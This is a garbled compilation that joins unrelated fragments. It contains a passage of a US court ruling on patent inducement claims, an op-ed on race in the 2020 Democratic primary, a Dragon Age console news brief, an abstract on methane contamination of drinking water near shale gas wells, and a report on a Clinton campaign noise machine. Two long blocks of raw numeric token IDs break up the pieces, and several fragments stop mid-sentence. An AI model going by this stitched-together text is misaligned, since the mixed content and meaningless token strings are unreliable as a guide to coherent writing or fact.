prejudicial to them. Finally, Mylan contends that even if Astra does have a cause of action against the Esteve companies, those claims should be pursued in a separate action. Because the Court finds that Astra's claims against the four proposed defendants are futile, Astra's motion to amend the respective complaints is denied. B. The Claims for Inducement Against Esteve Quimica, Dr. Laboratorios Esteve, GEA, and Hexal are Futile The Drug Price Competition and Patent Term Restoration Act of 1984, Pub.L. No. 98-417, 98 Stat 1585 (1984) (codified at 21 U.S.C. §§ 355 and 260cc and 35 U.S.C. §§ 156 and 271) (the "Hatch-Waxman Act") provides that "whoever actively induces infringement of a patent shall be liable as an infringer." 35 U.S.C. § 271(b). The Federal Circuit has said that to succeed on a theory of inducement under § 271(b) "a plaintiff must prove that the defendants' actions induced infringing acts and that they knew or should have known their actions would induce actual infringement." Warner-Lambert Co. v. Apotex Corp., 316 F.3d 1348, 1363 (Fed.Cir.2003) (internal quotations and citation omitted). Moreover, to prove inducement, a plaintiff must show "actual intent to cause the acts which constitute the infringement" and "that the accused infringer knowingly aided and abetted another's direct infringement of the patent". Warner-Lambert, 316 F.3d at 1363 (internal quotations and citation omitted). Two other district courts have reasoned that because the filing of the ANDA is an act of infringement, the active inducement of an ANDA submission is a remediable act of infringement. See SmithKline Beecham Corp. v. Geneva Pharms., Inc., 99 CV 2926, 2002 U.S. Dist. LEXIS 19411, at *31 (E.D.Pa. Oct. 1, 2002) (stating that "[w

[ 644, 1160, 323, 253, 20142, 326, 310, 776, 1655, 7751, 5639, 3646, 13, 390, 665, 310, 285, 665, 3548, 457, 85, 247, 4198, 5318, 273, 38384, 15, 1292, 3185, 13, 3438, 17979, 3918, 9915, 26656, 457, 84, 2853, 14, 12292, 264, 3061, 281, 47122, 271, 45697, 1584, 670, 849, 448, 14661, 344, 908, 281, 320, 342, 3168, 25937, 317, 1346, 7320, 253, 16804, 14, 34, 301, 745, 752, 436, 3625, 3819, 556, 1900, 644, 670, 13, 387, 1878, 1919, 1024, 27, 5492, 15, 187, 187, 3039, 18175, 9662, 457, 84, 29103, 4022, 13313, 1669, 10823, 18439, 323, 9172, 285, 671, 13, 275, 690, 2219, 13, 3095, 281, 13387, 13, 767, 8063, 11815, 812, 320, 8392, 432, 253, 2957, 27, 326, 253, 3168, 6273, 369, 4891, 5411, 3212, 11885, 313, 1212, 18286, 667, 651, 513, 558, 285, 253, 10823, 457, 13742, 275, 2087, 12337, 27945, 327, 849, 31905, 15156, 11163, 403, 670, 731, 15, 187, 187, 17588, 253, 14464, 4765, 4260, 27169, 13, 268, 1504, 953, 751, 15315, 4415, 21446, 466, 497, 21565, 326, 253, 27585, 9922, 28690, 943, 285, 651, 320, 247, 1436, 273, 3295, 13, 604, 323, 642, 643, 1921, 685, 281, 8409, 253, 440, 1200, 518, 494, 3778, 2613, 15, 1244, 2568, 13, 342, 594, 1142, 281, 5206, 432, 313, 66, 1924, 2800, 9183, 273, 3295, 452, 10877, 4092, 18120, 323, 253, 5219, 3995, 582, 253, 9922, 3625, 22207, 594, 2080, 452, 644, 14691, 407, 3168, 9183, 13, 285, 2223, 12832, 767, 273, 253, 30661, 383, 15, 187, 187, 1147, 3133, 326, 253, 1516, 1430, 4154, 14280, 281, 35689, 3168, 13, 1223, 253, 23027, 4154, 4536, 42534, 253, 643, 1039, 15, 1244, 1014, 672, 253, 1083, 310, 1160, 326, 368, 476, 457, 85, 452, 581, 1293, 253, 643, 13, 11219, 4780, 1644, 1127, 281, 3778, 457, 84, 2137, 9081, 285, 7777, 36418, 35091, 313, 13174, 908, 281, 16391, 670, 521, 26083, 12365, 275, 247, 1770, 13, 1024, 597, 816, 3524, 344, 6505, 387, 690, 1127, 10, 285, 1333, 436, 310, 417, 253, 673, 281, 1379, 247, 2495, 327, 3780, 665, 2506, 457, 85, 4944, 247, 5899, 13100, 15, 187, 187, 1989, 436, 2469, 2129, 3559, 253, 2442, 25926, 273, 26656, 457, 84, 4613, 1974, 313, 66, 15, 76, 15, 66, 13, 22346, 7608, 2610, 27, 380, 27069, 582, 285, 352, 2530, 247, 7520, 2774, 323, 42409, 48038, 45428, 285, 21174, 7080, 13680, 1128, 10002, 812, 22506, 3984, 281, 253, 14004, 253, 12008, 4007, 457, 84, 3000, 4269, 323, 8118, 14, 34436, 13, 533, 665, 671, 452, 644, 8127, 50217, 281, 253, 2406, 246, 4670, 273, 9169, 4613, 19103, 407, 253, 2315, 1128, 936, 28189, 15, 187, 187, 2347, 352, 1364, 452, 3496, 16386, 45428, 285, 13680, 13, 767, 273, 253, 43719, 6114, 275, 616, 3128, 13, 281, 923, 598, 5478, 84, 2719, 15, 8387, 80, 473, 457, 51, 454, 413, 285, 1024, 18308, 26411, 1292, 46362, 25362, 2489, 253, 13746, 273, 253, 1770, 13, 1223, 616, 4613, 19103, 19460, 281, 755, 2329, 2606, 15, 187, 187, 4125, 13, 597, 778, 320, 2970, 247, 1273, 1007, 432, 11163, 15, 187, 187, 1147, 457, 84, 2032, 253, 10856, 3668, 6928, 2389, 281, 923, 247, 3819, 13, 285, 253, 45428, 14, 35, 9226, 27908, 310, 253, 8642, 436, 3625, 556, 574, 281, 247, 1524, 581, 594, 2080, 15, 3808, 5884, 480, 487, 265, 9255, 13, 954, 273, 253, 9169, 9183, 574, 644, 5877, 616, 3289, 327, 253, 2914, 14, 28971, 562, 273, 4709, 273, 3551, 387, 253, 6963, 13, 5816, 13, 285, 7552, 253, 806, 15120, 555, 13, 273, 534, 627, 588, 320, 1142, 15, 187, 187, 1989, 45428, 457, 84, 31033, 17735, 13, 984, 597, 5420, 281, 1705, 432, 247, 1659, 273, 13241, 3075, 285, 5083, 13, 285, 597, 5608, 347, 247, 24388, 326, 436, 37606, 42354, 14, 28302, 6703, 2846, 14967, 14, 28302, 19365, 8080, 14, 28302, 15772, 382, 27445, 1537, 417, 320, 824, 271, 39152, 36484, 4500, 15, 187, 187, 20810, 323, 253, 27445, 13, 344, 1904, 457, 85, 3812, 247, 6308, 275, 253, 1273, 2360, 273, 9922, 27155, 13, 285, 594, 344, 285, 23886, 588, 320, 25979, 273, 253, 921, 3487, 597, 26426, 971, 15, 26656, 457, 84, 2914, 14, 24220, 3708, 13, 1223, 36418, 13, 4558, 2602, 13, 285, 1014, 521, 5161, 14501, 1364, 320, 20138, 670, 1880, 253, 10909, 14, 2913, 14, 744, 556, 253, 37928, 1758, 281, 32385, 253, 2534, 14372, 273, 8104, 432, 14260, 3803, 13, 625, 28071, 9680, 285, 4754, 13, 625, 30820, 9183, 11771, 281, 7642, 386, 779, 15, 187, 187, 1989, 1551, 17839, 13, 436, 305, 23510, 588, 417, 4354, 755, 689, 20644, 264, 1128, 28558, 273, 2282, 26656, 21936, 281, 1265, 268, 1699, 275, 1345, 323, 3052, 375, 15956, 79, 457, 21130, 294, 14, 83, 4539, 1128, 12157, 352, 16544, 281, 253, 29005, 875, 253, 9922, 7021, 9550, 285, 247, 2806, 2613, 326, 352, 26426, 3198, 533, 11359, 14165, 839, 15, 187, 187, 1628, 5418, 11163, 452, 1046, 987, 281, 1902, 271, 15990, 285, 7431, 665, 2506, 457, 85, 452, 281, 21684, 731, 597, 457, 250, 417, 22198, 15, 18365, 187, 187, 1147, 651, 417, 320, 16593, 323, 23075, 9583, 952, 273, 3295, 281, 35533, 253, 10823, 452, 6311, 1652, 432, 253, 4274, 6929, 273, 4022, 15, 187, 187, 17833, 13, 253, 958, 4961, 275, 253, 13846, 273, 690, 10071, 326, 1740, 3041, 6729, 14501, 13, 665, 497, 30839, 1523, 2806, 13, 14596, 1728, 310, 752, 2105, 9662, 253, 11051, 7909, 6822, 15, 187, 187, 1898, 273, 2282, 13, 3780, 1239, 14, 249, 327, 253, 26596, 5839, 24586, 326, 8118, 14, 34436, 497, 247, 2234, 2303, 273, 7247, 11689, 275, 253, 6132, 15, 1292, 3185, 273, 2820, 281, 294, 14, 1205, 486, 841, 11163, 949, 4466, 285, 3646, 13, 253, 17068, 273, 253, 9922, 7021, 556, 25711, 5262, 1512, 1199, 273, 253, 2469, 767, 285, 247, 2716, 1107, 2820, 281, 29720, 3168, 952, 665, 452, 644, 9058, 272, 1977, 432, 731, 323, 8007, 281, 1705, 896, 715, 253, 7975, 15, 187, 187, 2512, 556, 644, 690, 1941, 326, 253, 9183, 3746, 403, 387, 1878, 2820, 281, 2282, 3451, 15, 329, 417, 34584, 1180, 273, 731, 452, 6704, 327, 281, 1263, 253, 2523, 273, 21245, 294, 1148, 569, 13, 534, 651, 452, 644, 440, 18959, 494, 1740, 1107, 3622, 313, 9154, 6729, 908, 281, 660, 2727, 387, 253, 2934, 582, 285, 253, 4007, 7206, 265, 731, 342, 247, 11792, 6196, 273, 22198, 275, 306, 19343, 323, 731, 281, 25650, 15, 187, 187, 1989, 10823, 943, 417, 35533, 326, 2806, 11163, 13, 594, 9630, 285, 8542, 24842, 13, 476, 320, 259, 3288, 264, 407, 667, 581, 2523, 390, 28112, 15, 1583, 588, 7617, 253, 28690, 407, 41297, 2248, 3927, 275, 3054, 751, 3684, 9756, 13, 285, 597, 452, 1046, 987, 281, 1902, 271, 15990, 285, 7431, 665, 2506, 457, 85, 452, 281, 21684, 731, 597, 457, 250, 417, 22198, 15, 187, 187, 6872, 11163, 275, 1798, 588, 452, 247, 2173, 13841, 275, 436, 2129, 457, 84, 27155, 13, 285, 597, 943, 1902, 281, 923, 13680, 13, 45428, 13, 285, 253, 643, 9183, 273, 3295, 2186, 417, 816, 26656, 13, 533, 1711, 2143, 10823, 751, 779, 13, 28461, 323, 616, 35387, 327, 5492, 15, 187, 187, 7883, 972, 476, 20177, 432, 326, 31233, 253, 1878, 440, 1026, 41746, 778, 320, 253, 1682, 39654, 281, 1750, 10170, 689, 253, 1551, 273, 253, 7863, 9922, 1673, 15, 9034, 5154, 11362, 281, 1056, 2118, 281, 49261, 187, 187, 1147, 3133, 22371, 11362, 812, 320, 2403, 697, 1039, 4830, 49261, 387, 690, 1127, 13, 2556, 281, 16181, 56, 609, 820, 14, 31456, 13916, 1503, 21099, 2788, 15, 187, 187, 28326, 387, 28545, 434, 2315, 8059, 13, 1503, 21099, 2788, 369, 4645, 3644, 16879, 38068, 13, 22371, 11362, 27, 42321, 968, 13, 672, 344, 5393, 247, 2118, 689, 281, 49261, 275, 253, 2852, 369, 629, 273, 697, 1048, 1307, 5827, 15, 187, 187, 1328, 753, 326, 344, 3264, 22371, 11362, 281, 2489, 247, 2201, 17117, 346, 251, 5578, 285, 13, 275, 2852, 13, 327, 49261, 3446, 187, 187, 22191, 344, 5486, 42321, 968, 3139, 651, 320, 2245, 264, 281, 49261, 13, 390, 326, 747, 3958, 651, 320, 3715, 762, 253, 22371, 11362, 1416, 13, 344, 1904, 626, 1333, 13, 6747, 858, 344, 1333, 534, 49261, 344, 574, 275, 2564, 428, 594, 326, 434, 1529, 346, 13060, 436, 2317, 3, 323, 1024, 15, 187, 187, 2512, 943, 320, 690, 625, 3668, 327, 22371, 11362, 1996, 327, 387, 444, 20, 594, 359, 1833, 1978, 368, 275, 253, 6287, 13, 533, 323, 14584, 40396, 285, 625, 8692, 670, 253, 15146, 5578, 2165, 428, 1481, 689, 281, 697, 4422, 15, 17441, 187, 187, 37, 30869, 22896, 285, 25471, 14, 71, 974, 981, 10296, 403, 16821, 3629, 3626, 14, 22228, 11998, 15, 496, 12649, 338, 398, 689, 2943, 253, 2398, 3992, 316, 285, 530, 18259, 439, 1079, 34256, 273, 20558, 25489, 11637, 285, 598, 3409, 1457, 2816, 13, 359, 3389, 12082, 1941, 323, 35494, 17969, 273, 10678, 1824, 2330, 342, 439, 1079, 14, 22228, 11998, 15, 496, 3939, 3678, 14, 2068, 3460, 3672, 313, 531, 390, 625, 3678, 21443, 1561, 337, 10771, 582, 3388, 285, 4869, 35494, 6299, 275, 10678, 14, 7779, 21443, 2559, 342, 18326, 281, 253, 5275, 3678, 973, 285, 497, 655, 15, 19, 285, 6705, 5770, 5642, 577, 418, 14, 18, 313, 79, 426, 3436, 582, 247, 2442, 18864, 16466, 28, 275, 4499, 13, 18224, 35494, 3530, 275, 20667, 5293, 633, 3460, 4375, 313, 2369, 3678, 21443, 1561, 337, 10771, 10, 1561, 2074, 3471, 9522, 34256, 285, 4101, 463, 9522, 27005, 17522, 760, 337, 15, 18, 5770, 418, 14, 18, 313, 49, 654, 470, 15, 1762, 28, 295, 426, 5910, 481, 26056, 11112, 1012, 36, 14, 2775, 577, 2193, 273, 18224, 35494, 275, 20126, 41828, 497, 3012, 1679, 4016, 323, 3939, 685, 323, 1327, 4507, 4375, 3383, 1787, 3279, 818, 325, 110, 285, 428, 3439, 3279, 1903, 325, 110, 13, 2975, 28, 367, 654, 470, 15, 5831, 481, 2053, 11112, 1012, 36, 14, 2775, 577, 941, 13, 9904, 342, 253, 11878, 273, 35494, 14, 936, 14, 41832, 14, 10050, 39409, 13, 285, 11112, 19, 41, 14, 2775, 577, 2193, 13, 403, 5185, 342, 12861, 5461, 7736, 35494, 4973, 824, 347, 253, 2398, 3992, 316, 285, 530, 18259, 439, 2339, 387, 253, 3939, 4375, 285, 13373, 3678, 3471, 18334, 432, 3678, 21443, 10151, 15, 496, 4499, 13, 2406, 14, 585, 36551, 3530, 432, 20126, 41828, 387, 1327, 4507, 4375, 574, 14539, 6361, 20076, 18964, 247, 625, 1794, 7736, 390, 6804, 1794, 7736, 16, 508, 78, 7736, 35494, 2603, 15, 844, 1119, 642, 1941, 323, 17969, 273, 10678, 14, 7779, 3530, 342, 3676, 18704, 1308, 1100, 390, 10232, 981, 21143, 15, 844, 7525, 326, 3687, 42001, 5363, 13, 941, 13, 285, 1128, 38896, 1128, 11973, 403, 3058, 281, 5416, 253, 18380, 2852, 273, 439, 1079, 14, 22228, 11998, 285, 281, 3157, 1345, 7162, 275, 697, 897, 15, 41, 12537, 9662, 457, 84, 4544, 2285, 17324, 908, 247, 4228, 6046, 5145, 327, 8216, 281, 2972, 16817, 3345, 273, 247, 3187, 40902, 275, 20734, 432, 4854, 617, 16157, 15, 187, 187, 2773, 457, 84, 2556, 281, 10908, 11301, 13, 247, 12726, 323, 20734, 457, 84, 21946, 14, 21, 13, 665, 369, 38712, 3345, 273, 253, 2362, 13, 534, 369, 2918, 32321, 387, 253, 1728, 273, 13338, 21806, 15, 2516, 388, 20471, 4213, 2211, 13, 247, 2221, 43663, 665, 556, 30020, 9662, 15, 187, 187, 35, 2345, 753, 326, 253, 6046, 11689, 5145, 369, 3531, 327, 846, 247, 3961, 1905, 1996, 3636, 347, 7967, 12318, 24010, 285, 253, 4200, 13297, 1905, 6699, 4882, 3440, 285, 1078, 9662, 7560, 15, 380, 2813, 369, 4845, 3304, 273, 247, 19354, 327, 253, 2867, 285, 11205, 275, 253, 3884, 273, 253, 2315, 13, 11301, 4159, 15, 187, 187, 1328, 9269, 3492, 4645, 752, 352, 17132, 751, 3345, 273, 253, 2362, 1078, 285, 846, 253, 5145, 369, 3531, 327, 15, 380, 2813, 4197, 247, 1698, 14, 38172, 10218, 30690, 6046, 13, 1199, 751, 247, 25816, 745, 275, 253, 4181, 15, 187, 187, 15, 33, 68, 4843, 312, 2804, 8028, 1060, 323, 3590, 273, 752, 369, 3531, 327, 846, 253, 10604, 285, 816, 1078, 253, 31537, 15, 14402, 15, 16705, 15, 681, 16, 37528, 2354, 1010, 47, 3848, 47, 1905, 10908, 11301, 12626, 36447, 35, 2345, 12101, 10, 4162, 854, 13, 4022, 187, 187, 4553, 253, 3590, 5145, 369 ]

been made for the chaos that is our current Iran foreign policy, or who is and who isn’t a proponent of socialism. But instead, former Vice President Joe Biden’s ill-timed decision to revive an anecdote about how chummy he used to be with white supremacists pulled the Band-Aid off what this primary fight has always been about, at least until now: race. When Hillary Clinton’s shocking 2016 defeat left Democrats desperate for answers and also, in some cases, someone to blame, two principle conclusions could be drawn from the loss: that the white vote was solidifying behind Republicans (apparently any would do); and the Democrats’ fate in general elections rests on how enthusiastic minority voters are about them. Following the historic 2018 midterms, pundits like Jamelle Bouie were predicting that the eventual Democratic nominee should and would be a person of color, if for no other reason than to offset the unshakable Trump base. And yet, with so many to choose from (a record six candidates of color have mounted serious campaigns for the White House), the Democratic primary polls so far have been dominated by white candidates, and often literally two of the whitest. It seems that the electability argument tends to skew white, while the enthusiasm argument sometimes swings the other way. And even when the case is made that you can’t have one without the other, nervous progressives point to Trump’s war chest and truly formidable durability (people used to joke about his presidency ending in a month, now they just hope he leaves at some point) and say this is not the time to take a risk on anyone who doesn’t fit a traditional mold. But this past week presented the potential dangers of Biden’s candidacy (a.k.a, Gran Torino: The Campaign), and it provided a rare moment for Senators Cory Booker and Kamala Harris—who could uniquely speak to the upset the vice president’s words caused for African-Americans, but who also have been largely relegated to the lower tiers of 2020 candidacies by the press—to shine. How it must have irked Booker and Harris, two of the brightest stars in their party, to see upstarts Rep. Beto O’Rourke and now Mayor Pete Buttigieg become the flavor of the month, while their candidacies struggled to get airtime. Now, they may be getting a second look from voters. It’s true the cable news networks love to see a fight, and the Booker-Biden flap is the closest this primary has had to a real one so far. Some minor jibes aside, most of the 2020 candidates had been holding their fire on the front-runner out of fear of coming at the king, missing, and becoming the first casualty, of which there will be many. But Booker’s blows landed, because they appeared to come from a place of genuine pain and truth, and they served as a reminder that this Rhodes Scholar-turned inner city mayor-turned folk hero-turned institutionalist senator might not be such an unattractive option. Unfortunately for the senator, he didn’t draw a spot in the second night of Democratic debates, and so he and audiences will be deprived of the showdown they desperately want. Biden’s front-running status, while formidable, remains soft, and even his core supporters must be anxious about whether the 76-year-old has the stamina to withstand the barrage of attacks from hipper, more socially conscious and yes, more colorful candidates competing to supplant him. But rest assured, this gaffe will not easily get overshadowed—unless of course Biden decides to start pining in public for Amos ’n’ Andy re-runs—because it speaks to the tensions between the Democratic Party leadership and a black base that it desperately needs but keeps alienating. “ Black voters have every right to expect an agenda and candidate who doesn’t have to assure them they’re not racist. ” It would not be unfair for politically engaged people of color to presume the Democrats have learned little from the debacle of 2016. Sure, the fact exists in the minds of some experts that four million Obama supporters, who were disproportionately black, staying home is what cost Clinton the Electoral College. And of course, anyone read-in on the Mueller investigation understands that African-Americans were a key target of Russian interference in the election. But instead of trying to re-engage these voters through culture and policy, the mainstream of the Democratic Party has arguably spent too much of the past two and a half years trying to persuade white people who have been trending away from them for decades to come back into the fold. There has been some evidence that the candidates themselves are at least trying to course correct. A not insignificant number of them have signed on to study the issue of slavery reparations, which would have been unthinkable four years ago (even Obama used to scoff at the idea), and the president obliges them with a steady diet of racist invective for them to condemn. But Democrats should not presume that black voters, so reliable and practical historically, can be wooed by any one issue or posture. They will decide the nominee by dominating primaries in states like South Carolina, and they have every right to expect an agenda and candidate who doesn’t have to assure them they’re not racist. These voters in particular will have a specific stake in this week’s debates, and they should expect to see Harris, Booker, and the other candidates of color hold not just Biden, but old school Democrats like him, accountable for their shortcomings on race. Whoever can emerge from that confrontation the least unscathed may be the best poised to claim victory over the rest of the massive Democratic field.Dragon Age to make move to consoles It seems Dragon Age could be making its way onto consoles at some point, according to BioWare co-founder Greg Zeschuk. Speaking at EA's press conference, Zeschuk was showing dark fantasy RPG, Dragon Age: Origins, when he mentioned a move over to consoles in the future was part of its long term plans. He said that he expected Dragon Age to become a major franchise "on PC and, in future, on consoles". Whether he meant Origins itself would be ported to consoles, or that new games would be developed under the Dragon Age name, he didn't say, neither did he say which consoles he had in mind - so that's another "watch this space" for now. There should be some more news on Dragon Age later on at E3 so we'll keep you in the loop, but for screenshots and more info about the upcoming PC game - head over to its website.Abstract Directional drilling and hydraulic-fracturing technologies are dramatically increasing natural-gas extraction. In aquifers overlying the Marcellus and Utica shale formations of northeastern Pennsylvania and upstate New York, we document systematic evidence for methane contamination of drinking water associated with shale-gas extraction. In active gas-extraction areas (one or more gas wells within 1 km), average and maximum methane concentrations in drinking-water wells increased with proximity to the nearest gas well and were 19.2 and 64 mg CH 4 L-1 (n = 26), a potential explosion hazard; in contrast, dissolved methane samples in neighboring nonextraction sites (no gas wells within 1 km) within similar geologic formations and hydrogeologic regimes averaged only 1.1 mg L-1 (P < 0.05; n = 34). Average δ13C-CH 4 values of dissolved methane in shallow groundwater were significantly less negative for active than for nonactive sites (-37 ± 7‰ and -54 ± 11‰, respectively; P < 0.0001). These δ13C-CH 4 data, coupled with the ratios of methane-to-higher-chain hydrocarbons, and δ2H-CH 4 values, are consistent with deeper thermogenic methane sources such as the Marcellus and Utica shales at the active sites and matched gas geochemistry from gas wells nearby. In contrast, lower-concentration samples from shallow groundwater at nonactive sites had isotopic signatures reflecting a more biogenic or mixed biogenic/thermogenic methane source. We found no evidence for contamination of drinking-water samples with deep saline brines or fracturing fluids. We conclude that greater stewardship, data, and—possibly—regulation are needed to ensure the sustainable future of shale-gas extraction and to improve public confidence in its use.Hillary Clinton’s campaign team reportedly used a static noise machine on Thursday to block reporters outside of a fundraiser in Denver from hearing her remarks. That’s according to Stan Bush, a reporter for Denver’s CBS-4, who was stationed outside of the event, which was held outdoors at the home of Colorado Gov. John Hickenlooper, a superdelegate who has endorsed Clinton. Bush said that the noise interference machine was turned on after a band — later identified as Big Head Todd and the Monsters — finished playing music and before Clinton spoke. The device was placed inside of a fence on the property and aimed in the direction of the press, Bush wrote. He posted video showing what it sounded like outside of the event before and after the machine was turned on. The device produced a low-intensity throbbing noise, much like a helicopter off in the distance. .@cascamike listen here for sound of what was turned on after the bands and just before the speeches. pic.twitter.com/GhSE15NDeN — Stan Bush (@StanBushTV) April 8, 2016 After the sound machine was

[ 15279, 7548, 32, 187, 187, 3074, 253, 625, 1921, 323, 2139, 627, 588, 320, 642, 22523, 11497, 436, 807, 310, 253, 2793, 432, 1249, 2607, 3622, 15, 309, 13, 285, 359, 13, 840, 574, 253, 1072, 2523, 275, 2820, 281, 1089, 4209, 2317, 281, 18045, 4613, 19103, 2256, 281, 11081, 984, 273, 247, 2014, 1180, 1108, 884, 1108, 326, 13, 1390, 309, 369, 8191, 13, 310, 642, 625, 20075, 273, 247, 930, 1560, 685, 667, 643, 6670, 13200, 667, 22523, 275, 667, 6132, 15, 187, 187, 34, 807, 3622, 309, 369, 6726, 281, 7617, 326, 247, 637, 323, 5207, 309, 574, 14285, 275, 512, 2045, 1107, 273, 521, 26281, 13, 36292, 28982, 13, 369, 1024, 247, 5487, 273, 3904, 326, 574, 642, 1921, 390, 987, 281, 42069, 1419, 779, 15, 187, 187, 41255, 574, 253, 1072, 2793, 15, 329, 1180, 273, 731, 1996, 14969, 326, 574, 627, 644, 642, 824, 14978, 552, 45544, 13, 597, 651, 452, 625, 685, 644, 2104, 281, 2085, 253, 767, 13008, 407, 534, 7967, 40635, 9829, 6132, 15, 187, 187, 4125, 13, 342, 253, 13024, 436, 807, 273, 747, 9183, 1108, 7902, 13, 33414, 28982, 13, 3774, 27643, 13, 3966, 15, 1108, 253, 7137, 556, 4395, 432, 3468, 3487, 3924, 281, 247, 18065, 19176, 14, 484, 15, 187, 187, 1276, 271, 34019, 13, 1881, 14, 615, 453, 839, 7548, 359, 1472, 17886, 407, 15, 187, 187, 24753, 436, 22523, 310, 1677, 253, 5667, 14578, 2316, 352, 285, 667, 20808, 273, 12974, 11684, 13, 627, 588, 320, 642, 6273, 5248, 1060, 1969, 417, 672, 3496, 15994, 2322, 275, 260, 962, 272, 4454, 492, 10628, 253, 29672, 273, 3496, 15994, 2322, 326, 690, 588, 458, 11170, 1411, 247, 1327, 14, 87, 31387, 15, 187, 187, 4527, 2282, 13, 627, 403, 32986, 17139, 665, 588, 8005, 327, 667, 1180, 273, 43679, 13, 5068, 342, 690, 273, 1110, 4454, 2908, 285, 10432, 327, 581, 637, 434, 6696, 273, 27993, 1618, 273, 17971, 15, 187, 187, 1394, 476, 3135, 13, 597, 1333, 13, 407, 23703, 253, 1161, 20264, 27, 19760, 84, 285, 48930, 561, 15, 187, 187, 1147, 434, 247, 5272, 4831, 15, 25373, 13, 309, 1859, 436, 4112, 642, 13359, 685, 1390, 807, 13, 390, 275, 2045, 1107, 15, 2732, 247, 9976, 390, 625, 273, 12906, 285, 7765, 14, 8716, 272, 309, 452, 247, 3367, 285, 21105, 35180, 1332, 323, 10620, 342, 247, 29281, 4840, 15, 187, 187, 42, 5206, 281, 6273, 323, 3773, 3692, 25829, 13, 7419, 432, 667, 2954, 342, 3045, 14, 17305, 6816, 5835, 13, 497, 13, 275, 619, 1859, 13, 29472, 26374, 6696, 273, 27993, 14, 7698, 15, 48930, 561, 285, 19760, 84, 13, 347, 7687, 784, 347, 597, 497, 342, 616, 8696, 285, 342, 616, 5165, 22095, 327, 367, 1703, 84, 1309, 271, 19513, 285, 1569, 1417, 8685, 273, 1943, 14, 41363, 14623, 13, 1509, 436, 2507, 579, 5297, 839, 314, 940, 4740, 1020, 5691, 15, 7160, 3904, 651, 452, 1912, 731, 247, 7408, 281, 15859, 39225, 604, 597, 1871, 1620, 2378, 277, 8902, 1070, 275, 253, 15649, 28399, 273, 367, 1703, 84, 15, 187, 187, 1773, 13110, 13, 3773, 665, 407, 1039, 273, 45026, 390, 14290, 1941, 1537, 452, 574, 277, 455, 18843, 342, 367, 1703, 84, 326, 4395, 616, 3904, 715, 6696, 273, 27993, 12785, 1108, 4744, 16442, 22302, 13, 46901, 5226, 1405, 9401, 13, 5769, 2577, 322, 6859, 13, 3966, 15, 1108, 403, 5868, 247, 6273, 15, 187, 187, 20517, 13, 627, 310, 642, 3215, 1215, 326, 352, 434, 247, 35755, 2097, 323, 8925, 665, 369, 4076, 285, 665, 369, 16076, 15, 1292, 642, 3595, 800, 1232, 556, 644, 2104, 281, 921, 13, 342, 667, 4248, 273, 16400, 7200, 13, 665, 858, 13, 285, 665, 1904, 626, 13, 5649, 432, 367, 1703, 84, 13, 285, 323, 849, 1048, 15, 187, 187, 1552, 310, 3782, 2032, 323, 271, 8685, 273, 4103, 271, 12638, 13, 8441, 14, 10016, 13, 672, 14623, 574, 642, 5882, 3646, 390, 4092, 2854, 14, 19462, 6576, 285, 672, 594, 1142, 3773, 497, 13756, 281, 1978, 598, 13, 3947, 25785, 13, 342, 253, 8302, 265, 15, 187, 187, 2347, 1142, 11163, 5207, 253, 19760, 84, 285, 48930, 561, 28027, 20302, 5730, 281, 24627, 403, 5549, 1242, 26569, 3773, 665, 1537, 973, 452, 644, 7166, 11733, 13, 387, 690, 1127, 13, 347, 269, 4405, 1242, 347, 253, 625, 32566, 25638, 32, 187, 187, 1145, 45823, 403, 29125, 314, 1643, 15, 2064, 13, 273, 2282, 13, 310, 271, 2523, 18032, 3139, 13, 253, 1268, 273, 367, 1703, 4833, 13, 285, 309, 1675, 1142, 665, 452, 247, 1027, 16322, 2584, 253, 367, 1703, 734, 77, 2496, 15, 329, 11697, 37171, 985, 323, 23762, 949, 253, 2779, 33815, 285, 616, 388, 10327, 4613, 19103, 6125, 760, 13, 323, 479, 13, 253, 1682, 1039, 281, 2968, 342, 6612, 15, 187, 187, 13325, 42865, 1345, 187, 187, 1989, 896, 281, 253, 22819, 56, 2446, 13, 534, 275, 12699, 342, 6696, 273, 27993, 23289, 13, 2589, 84, 253, 15859, 39225, 6273, 15, 187, 187, 34, 807, 3622, 13, 359, 574, 247, 10237, 5955, 273, 253, 884, 14, 1342, 2701, 387, 247, 11306, 14, 1595, 1834, 22819, 56, 2446, 4804, 21051, 10912, 387, 253, 17802, 35404, 723, 15, 329, 9353, 369, 4447, 281, 1263, 253, 884, 14, 1342, 2701, 15, 187, 187, 1147, 369, 18343, 13, 11697, 275, 271, 299, 14, 5719, 4857, 281, 22819, 56, 2446, 6251, 13, 326, 253, 884, 14, 1342, 2701, 320, 11848, 1108, 436, 807, 1108, 281, 3693, 253, 1077, 502, 12216, 285, 16888, 20142, 326, 11163, 1024, 2454, 327, 271, 48312, 11096, 22523, 15, 187, 187, 16440, 556, 4592, 15, 26013, 24586, 1818, 476, 1379, 673, 15, 1292, 627, 403, 39722, 26340, 326, 452, 644, 2839, 1245, 275, 12217, 673, 685, 651, 452, 644, 2424, 281, 1056, 253, 4344, 285, 5272, 7466, 327, 436, 807, 434, 6696, 273, 27993, 22523, 15, 187, 187, 42, 1024, 1364, 1642, 27, 1359, 1142, 3773, 588, 6604, 7967, 40635, 436, 807, 275, 417, 6883, 247, 4209, 7155, 273, 13008, 1108, 6879, 2558, 310, 2424, 323, 6132, 1108, 984, 247, 22523, 574, 41544, 3562, 33183, 326, 2378, 1537, 452, 644, 12207, 533, 642, 3356, 4647, 32, 187, 187, 2347, 1142, 11163, 588, 320, 6726, 13, 347, 309, 369, 13, 281, 7617, 534, 4760, 18338, 273, 546, 1200, 11078, 1003, 369, 8489, 1679, 18338, 273, 6306, 387, 15859, 39225, 1735, 4163, 685, 253, 884, 281, 534, 309, 1353, 3710, 32, 187, 187, 1552, 310, 4858, 432, 1529, 12678, 309, 1849, 19186, 1160, 1108, 326, 512, 6696, 273, 27993, 42865, 320, 1160, 1345, 15, 733, 651, 564, 247, 1048, 1039, 281, 5416, 326, 1805, 42865, 285, 625, 30990, 310, 1160, 629, 273, 271, 9592, 46807, 26479, 327, 1110, 665, 9142, 9370, 15859, 39225, 15, 187, 187, 42, 369, 2183, 407, 22819, 56, 2446, 6338, 436, 807, 326, 253, 6696, 273, 27993, 39682, 971, 42865, 281, 320, 3055, 15, 1244, 309, 476, 626, 323, 253, 1495, 273, 479, 4677, 562, 2139, 326, 651, 320, 9371, 390, 3309, 15, 496, 958, 13, 352, 434, 247, 3646, 347, 4354, 16733, 728, 347, 2509, 1977, 342, 253, 884, 14, 1342, 2701, 15, 1292, 359, 871, 849, 326, 34623, 369, 1313, 275, 4059, 285, 627, 310, 642, 1524, 3524, 326, 1345, 13911, 273, 13008, 588, 5108, 667, 673, 3517, 15, 187, 187, 1989, 253, 884, 14, 1342, 2701, 13, 1840, 512, 